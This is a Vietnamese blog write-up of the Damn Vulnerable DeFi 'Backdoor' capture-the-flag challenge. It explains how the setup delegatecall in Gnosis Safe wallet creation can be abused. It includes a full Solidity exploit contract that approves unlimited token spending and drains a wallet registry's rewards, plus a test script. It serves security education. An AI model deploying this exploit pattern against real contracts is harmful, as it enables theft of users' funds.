Skip to content

Damn Vulnerable Defi writeups: 11 - Backdoor

Posted on:March 20, 2022

Challenge #11 - Backdoor

Nhiệm vụ: Để khuyến khích mọi người trong team dùng ví Gnosis Safe để tăng tính bảo mật, team đã tạo ra một contract registry. Mỗi khi có ai đó trong team tạo ví Gnosis Safe của họ và đăng ký ví với registry này, họ sẽ nhận được 10 DVT token.

Mặt khác, để mọi người có thể tạo ra ví Gnosis Safe một cách đơn giản và bảo mật nhất, team quyết dịnh sử dụng Gnosis Safe Proxy Factory để tạo ví, thay vì trực tiếp tạo.

Hiện tại đã có 4 người đăng ký với registry là Alice, Bob, Charlie, David. Trong registry đã có 40 DVT để sẵn sàng phân phối cho 4 người họ.

Mục tiêu của bạn là trong 1 transaction duy nhất lấy hết toàn bộ fund trong registry.

Phân tích

Contract WalletRegistry dường như không một tì vết, ta không thấy có lỗ hổng nào ở đây cả. Do đó không còn cách nào khác ta phải tìm hiểu toàn bộ cách mà Gnosis Safe hoạt động.

Các ví Gnosis Wallet sẽ được tạo ra bởi Gnosis Safe Proxy Factory.

Lưu ý rằng các ví Gnosis Wallet được tạo ra này là ví proxy, tức nó được thiết kế theo dạng upgradeable pattern, nó không chứa implementation code, mà chỉ chứa proxy code. Mỗi khi có call đến contract, nó sẽ được forward qua implementation contract thông qua delegatecall. Bạn đọc nên tự tìm hiểu thêm về upgradeable pattern.

Do các ví đều có implementation giống nhau, nên để giảm thiểu chi phí deploy, mỗi version người ta sẽ chỉ sử dụng một implementation contract duy nhất, gọi là master copy. Các ví Gnosis Safe tạo ra đều trỏ tới master copy này.

Trong Gnosis Safe Proxy Factory có rất nhiều hàm để tạo ra một proxy (tức một ví Gnosis Safe). Trong trường hợp này wallet được tạo ra bởi hàm createProxyWithCallback

function createProxyWithCallback(
    address _singleton,
    bytes memory initializer,
    uint256 saltNonce,
    IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
    uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
    proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
    if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}

Ta giải thích qua một chút:

Vậy ở đây ta chỉ có mỗi initializer là đầu vào, tức là thứ mà ta có thể kiểm soát được.

Quay trở lại hàm proxyCreated trong WalletRegistry:

function proxyCreated(
    GnosisSafeProxy proxy,
    address singleton,
    bytes calldata initializer,
    uint256
) external override {
    // Make sure we have enough DVT to pay
    require(token.balanceOf(address(this)) >= TOKEN_PAYMENT, "Not enough funds to pay");

    address payable walletAddress = payable(proxy);

    // Ensure correct factory and master copy
    require(msg.sender == walletFactory, "Caller must be factory");
    require(singleton == masterCopy, "Fake mastercopy used");

    // Ensure initial calldata was a call to `GnosisSafe::setup`
    require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");

    // Ensure wallet initialization is the expected
    require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
    require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");

    // Ensure the owner is a registered beneficiary
    address walletOwner = GnosisSafe(walletAddress).getOwners()[0];

    require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");

    // Remove owner as beneficiary
    _removeBeneficiary(walletOwner);

    // Register the wallet under the owner's address
    wallets[walletOwner] = walletAddress;

    // Pay tokens to the newly created wallet
    token.transfer(walletAddress, TOKEN_PAYMENT);
}

hàm được viết rất chặt chẽ:

ta hầu như không thấy lỗ hổng ở đây, và tiếp tục chỉ có chỗ mà ta có thể input vào là có khả năng khai thác được, tức hàm setup của Gnosis Safe.

Tiếp tục nhìn qua hàm setup của Gnosis Safe:

function setup(
    address[] calldata _owners,
    uint256 _threshold,
    address to,
    bytes calldata data,
    address fallbackHandler,
    address paymentToken,
    uint256 payment,
    address payable paymentReceiver
) external {
    // setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice
    setupOwners(_owners, _threshold);
    if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
    // As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
    setupModules(to, data);

    if (payment > 0) {
        // To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)
        // baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment
        handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
    }
    emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
}

ở đây mặc dù nói là các tham số là ta đưa vào, nhưng do các ràng buộc logic bên trên, ta không thể dùng một owner khác ngoài Alice, Bob, Charlie, David, threshold cũng không thể đổi và cố định là 1. Vậy với các tham số còn lại ta có thể lợi dụng được tham số nào đây?

hàm setupModules có logic như sau:

function setupModules(address to, bytes memory data) internal {
    require(modules[SENTINEL_MODULES] == address(0), "GS100");
    modules[SENTINEL_MODULES] = SENTINEL_MODULES;
    if (to != address(0))
        // Setup has to complete successfully or transaction fails.
        require(execute(to, 0, data, Enum.Operation.DelegateCall, gasleft()), "GS000");
}

hàm này thực hiện một delegatecall trên địa chỉ to với input là data, hoàn toàn là những đầu vào ta đưa vào.

nhắc lại rằng initializer được gọi bởi ví Gnosis Safe được tạo ra, trước khi registry gọi proxyCreated, tức trước khi chuyển tiền.

assembly {
    if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
        revert(0, 0)
    }
}

vì vậy ta không thể can thiệp được vào quá trình chuyển tiền này được, vì nếu can thiệp thì transaction sẽ có thể bị revert do registry không còn đủ tiền để chuyển nữa. Vậy thì lý tưởng nhất, ta approve cho contract tấn công có quyền tiêu tiền trước, sau đó ta rút tiền từ ví sau. Ý tưởng hoàn toàn hợp lý!

Tổng hợp lại ta có kịch bản khai thác như sau:

Exploit

Chuẩn bị contract khai thác

contract RektBackdoor {
    GnosisSafeProxyFactory public factory;
    IProxyCreationCallback public callback;
    IERC20 public token;
    address[] public users;
    address public singleton;

    constructor(
        address _factory,
        address _singleton,
        address _callback,
        address _token,
        address[] memory _users
    ) {
        factory = GnosisSafeProxyFactory(_factory);
        singleton = _singleton;
        callback = IProxyCreationCallback(_callback);
        token = IERC20(_token);
        users = _users;
    }

    function rekt() external {
        bytes memory data = abi.encodeWithSignature(
            "approve(address,address)",
            token,
            address(this)
        );
        for (uint256 i = 0; i < users.length; i++) {
            address[] memory owners = new address[](1);
            owners[0] = users[i];

            bytes memory initializer = abi.encodeWithSignature(
                "setup(address[],uint256,address,bytes,address,address,uint256,address)",
                owners,
                1,
                address(this),
                data,
                address(0),
                address(0),
                0,
                address(0)
            );

            GnosisSafeProxy proxy = factory.createProxyWithCallback(
                singleton,
                initializer,
                0,
                callback
            );

            IERC20(token).transferFrom(address(proxy), tx.origin, 10 ether);
        }
    }

    function approve(address _token, address spender) public {
        IERC20(_token).approve(spender, type(uint256).max);
    }
}

Chạy script khai thác:

it("Exploit", async function () {
  /** CODE YOUR EXPLOIT HERE */
  const RektBackdoor = await ethers.getContractFactory(
    "RektBackdoor",
    attacker
  );
  this.rekt = await RektBackdoor.deploy(
    this.walletFactory.address,
    this.masterCopy.address,
    this.walletRegistry.address,
    this.token.address,
    users
  );

  await this.rekt.connect(attacker).rekt();
});

Check lại kết quả

  [Challenge] Backdoor
Exploit (483ms)


  1 passing (3s)

All done!

Bình luận

Đây thực sự là một thử thách rất khó, nó khó không bởi cách tấn công, mà là bởi ta phải hiểu được cách hoạt động của Gnosis Safe. Gnosis Safe gồm rất nhiều contract, với rất nhiều low level code như call, delegatecall hay hàng tá các inline assembly khác. Thực sự việc đọc và hiểu kiến trúc của Gnosis Safe là một việc vất vả nhất trong challenge này.

Note: Có một điểm bài này vẫn chưa giải quyết được triệt để. Đề bài yêu cầu là giải quyết trong 1 transaction duy nhất. Tức ta cần chạy tất cả trong constructor của contract tấn công là xong. Nhưng trên thực tế khi mình viết trong constructor thì hàm approve không hoạt động, có nghĩa là delegatecall trong constructor có vấn đề. Điều này mình sẽ điều tra và update thêm.